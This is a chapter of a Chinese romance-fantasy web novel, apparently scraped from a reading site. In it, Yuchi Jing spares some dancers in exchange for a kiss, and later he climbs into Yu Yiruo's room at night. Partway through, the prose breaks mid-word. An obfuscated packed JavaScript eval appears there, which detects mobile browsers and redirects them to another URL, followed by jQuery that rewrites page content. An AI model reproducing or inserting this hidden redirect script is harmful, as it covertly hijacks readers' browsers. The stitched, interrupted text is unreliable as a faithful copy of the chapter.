206. 采花
作品:《失手伤害反派后》 烟火放完已经是半夜三更,余以若被尉迟景送回了木屋门口,道了谢,余以若就要扭头回去,又被尉迟景一拉,拉到了身前。
“我到了,你回去吧,说好了,明日是我出面。”余以若道。
适才好说歹说这才让尉迟景放她自己去救小福,被他这么一拉,生怕他反悔,心里直发毛,看他不说话,余以若抬起手在他眼前晃了晃,“你怎么了?可以放开我了。”
尉迟景一把抓住她的手,“脸上还疼吗?”
“不疼了。”余以若总感觉他是有别的打算,索性直接挑明道:“你也别总拉着我不放了,我跟你说了,我是不会和你一起去住那什么客栈的。”
“嗯。”
这么好说话?余以若不禁抬头看了看他,猝不及防撞进了少年缱绻的眼眸,害得她心脏抽了抽,余以若忿忿地给了自己两拳。
“你干嘛呢?余以若?”尉迟景及时拉住她的手,好笑道:“没事自残啊?”
余以若脸上闪过几丝窘迫,“不是,放开我,我回去了。”
说着尉迟景果真松开了她,余以若总觉他怪怪的,然而也没再说什么,迈开步子就往前走,突地脑袋里想起适才那缱绻的眼眸里深藏着的冷意。
余以若猜得出是针对那些个舞姬和掌柜的,因为她和尉迟景出来的时候不小心撞见了那个画面,尽管尉迟景蒙着她的眼睛,用谈话来转移她的注意,但余以若还是猜到了,尉迟景可能会下狠手。
想了想,还是不忍。
看到余以若突然转身,尚且在原地的尉迟景愣了愣,笑道:“怎么了?反悔了?不舍得我了?”
“才不是!”余以若大步走上前,组织了两下语言,抬头问:“你是不是会对那些舞姬出手啊?”
尉迟景脸上的笑一僵,“不会啊。”
“你骗我!”余以若直直地盯着他的眼,尉迟景不由地有些心虚,余以若看出来了,追着问:“你是不是打算把她们弄死?”尉迟景这下连看也没看她,余以若便晓得了,叹了口气道:“大千世界,都是可怜人,谋个生计而已,罪不致死,况且我也打了她们,要不你就放了吧。”
“放了?”尉迟景脸上很冷。
“嗯,就算我求你的。”余以若看着他的两眼亮亮的,像是藏着一汪明月。
尉迟景愣住了,换作往常,都是直接弄死的,要不是因为她在,怕出意外,这才打算明日她离开之后把人沉塘,没想到还是被她发现了。欺负了他的人,哪是想放就放的,可是看着少女真挚的眼眸,心里的某根弦又动了动。
忽而坏笑道:“让我亲一口,我就不杀她们。”
“亲哪?”余以若不自觉退后了几步。
尉迟景笑着追平了这几步,略弯下腰盯着这个人儿,“这就要看你了,你想我……”
话还没说完,余以若以一副壮士扼腕的姿态,昂首挺胸,“来吧,就是亲一口而已,哪都行!”
尉迟景笑了笑,捧起她的脸,吻了吻眉心,又落到了被打的两颊,最后就要贴上温热的唇,尉迟景明显感到余以若的呼吸一窒,动作终究是停了下来。
好像没了下一步动作,余以若颤颤巍巍地把眼睛睁开了条缝,“可以了吧?”
“可以了。”尉迟景揉揉她的脑袋。
“那可太好了!”说完余以若就兴奋地溜走了,留下句,“你可记得答应我的哈,取性命的话太过了,给点惩戒就可以了!”
尉迟景望着那碧绿的身影像阵风溜进了亮着橘色光的木屋,唇角微微勾了勾,忽而那碧绿身影的侧边好似多了道黑色的影子,看着看着,勾起的唇就冷了下来。
四下的萤火也因着这气场的变化落荒而逃。
……
余以若是不知道尉迟景一直在不远处盯着自己。
一进门就撞见了兰茝,余以若看他神色不对,在转身回屋的时候就多问了句,“你怎么了?发烧了吗?脸色怎么这么白?”
兰茝苦涩地摇头,“还好。”
“那这又是怎么了?”余以若还看见他身后,罗奇也走了出来,脸色同样是白得吓人,手上还端着药汤,想是给阿香婆婆送药的,看到她看过来,还礼貌性地点了点头,“余姑娘回来了?”
“嗯。罗奇姑娘,你们这是怎么了吗?”余以若总觉她们之间发生了不愉快的事情。
就算罗奇年岁也不大,但也是个未出阁的姑娘,余以若真担心这个兰茝会不会起不好的心思。虽然余以若再三测试知道他心底里始终装着那个姑娘,可这心变不变谁能保证。
罗奇再把空碗端回来时,就见余以若一直盯着自己,似乎有话说,看那表情又觉得这话兴许是想歪了的话,索性放完空碗就走出来同余以若解释:“余姑娘,你不用担心我,只是刚才兰公子误了煎药的时辰,让阿香夫人没能吃上药,心里担忧罢了。”
“只是这样?”余以若分明看到坐在脚落的兰茝一直盯着罗奇。
“嗯,余姑娘你也早些睡。”罗奇说完,转身离开,突地身后的余以若一唤,“罗奇姑娘,你的帕子又掉了。”
几乎是同一时间,几道目光纷纷一滞。
罗奇手忙脚乱地先去身上摸,又去地上看,末了望向余以若的一脸愧疚,才醒悟这是余以若故意的,当即心里有些气愤,也不管余以若后面有说什么,直接关门进了屋。
余以若这么一喊,也看到了躲在墙角兰茝眼里的震惊和愠怒。
兴许是有所感应,兰茝也朝她看来。
余以若一僵,兰茝空洞的视线好像要把她看穿一样,余以若火速反应过来,从乾坤袋里拿出一些山楂和甜饼,走到兰茝身边,弯下腰递给他,“兰公子,给你。”
四下灯光幽微,忽明忽灭,偶尔还有三两声空灵的鸟叫,在这寂静的夜晚,显得分外瘆人。
兰茝蹲在窗下,窗外的树在肆意地摆动粗壮的枝干,每摆动一下,那漆黑的影子就好像在少年身上落了条鞭笞,无数的鞭笞落到少年身上,早已皮开肉绽。
溃烂的糜肉中,有双深潭般的眸子定定地抬了起来。
里头溺着一个她,余以若吓得不禁退后了几步,手上嫣红的山楂也骨碌碌地滚到了地上,余以若手忙脚乱地说了声抱歉,就蹲在地上捡。
正捡着,耳边又传来少年不冷不热,分外幽冥的嗓音,“你叫什么名字?”
这还是第一次主动同她搭话,向来都是余以若开口问他,余以若总觉这声音可怕到不行,有点像临死前的留名,余以若咽了咽唾沫,把山楂塞回乾坤袋,“余以若,雨季应该同你说了吧。”
“余以若……真好。”少年喃喃道。
余以若脊背又冷又麻,“什么真好?我的名字好吗?公子你的名字也不错。”
兰茝没有回答她,而是站起身默默地走了,余以若纳闷地左右看了看,忽而眸色一滞,这扇窗正对着门外,适才自己和尉迟景的举动,这个位置看得一清二楚。
余以若忽地脑袋一片白,不知道他这话什么意思,什么叫真好,是觉得她还能和尉迟景相见,而他已经和心悦之人天人永隔了吗?
这么细细一想,不是尴尬,是有些可怕,更多的是残忍。
余以若默然了半晌,还是回了自己房间,熄灭油灯上床睡觉了。
……
尉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982391|169447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
迟景再看不见余以若身影的时候就回到了摘星楼,众多掌柜的因着前几刻钟的事脸上都挨了光,又红又肿的,尉迟景心内烦躁,无视了这些巴结讨好欲图弥补的人。
走上了楼,问无殁道:“沈眷还活着没?”
无殁道:“活着,没大人的命令我们不敢除掉这个人。”
“嗯。”尉迟景给自己灌了杯清茶,“把阿通几人也叫上,沈眷有用,下一次雷劫计划着劈他身上。”
“大人……为何?”无殁不禁问了句,“难道大人灵力出什么事情了?”
“还没。”尉迟景不想解释,摆摆手让他走,走到一半,又把他叫住,“那些打了小余的人怎么样了?”
“押在后厨。”无殁抱拳道:“是否是今日把她们给……”在脖子上比了比。
尉迟景道:“只要不弄死,随便打,还有那掌柜的,欺负人的时候有份,受罚的时候也别忘了这个人。”
无殁点头称是。
油灯噗呲噗呲地冒着花,修长的指尖触了触,仿佛没有温度般,拢了起来。
倏尔好似下定了决心,转身从窗台一跃而下。
……
余以若睡下不到半刻,就被什么吵醒了,她迷迷糊糊地起来,窝在床上静静地听了听,倏尔锁定声响是从窗台发出的,不等那窗台外的东西再进一步,余以若轻手轻脚地下了床,连鞋子都没穿,就拿着剑守在了窗子边上。
大晚上的,难道是采花贼?
窗子“吱嘎——”非常小的声音,若不是余以若耳力好,加上没有睡死,恐怕真的会一点察觉都没有。窗外好像有什么在推动,向里推,发现推不动,又往外拉。
余以若凝神屏气握紧剑,死死地盯着那逐渐扩大的黑色窗口。
寒风裹挟着熟悉的柑橘香传来。
余以若还没把剑拔出,开了的缝隙越来越大,倏尔红色的流光一闪,余以若还没看清是谁,就被捂着嘴压到了墙角。
手一软,剑掉了下去,却没有声音,是身前的人接住了。
余以若揉揉眼,又是惊讶又是愤怒,“尉迟景,你不睡觉,半夜爬窗?什么坏习惯?”
“这可就冤枉我了,我就爬这一次,不叫习惯。”尉迟景把她松开,无辜道。
正要说话,也不知是不是那窗户太陈旧的缘故,“吱嘎——”一声响了。
余以若赶忙去看那窗,“不走正门,爬窗?这可不是我家房子,也不是你家房子,万一把这窗户弄坏了,还得修!”
“我看看。”尉迟景这么一听说也探头去看。
两人大半夜就这么盯着窗子左看右看,末了发现屁大点事都没,忽而视线交汇,尉迟景笑了笑,余以若急速撇开,扬扬手,“从那扇门出去吧,怎么来的就怎么出去,大半夜闯人家闺房,我还以为是采花大盗呢。”
“采花大盗才不会半夜陪你看窗户有事没事。”尉迟景笑道。
余以若察觉他去的方向有点危险,是自己床的方向,心里咯噔一跳:“你干什么呢?门在那边,你是不是看不到啊,那里不是门,门在这边。”
“谁跟你说我要出去了。”尉迟景就这么在余以若的惊愕中,顺其自然地躺到了唯一的一张床上,余以若惊得下巴都要掉了:“你干什么?孤男寡女的共处一室,传出去,你的名节不保!”
“与其担心我的名节,不如担心担心你。”尉迟景忽然坐了起来,盯着余以若幽幽地笑。
余以若觉得他今晚有些可怕,当即就跑向了门的方向,一股灵力倏地把她一揽,整个人地被拉到了床上,余以若火速抢走被子,把自己裹了起来,“你说,你要干什么?”

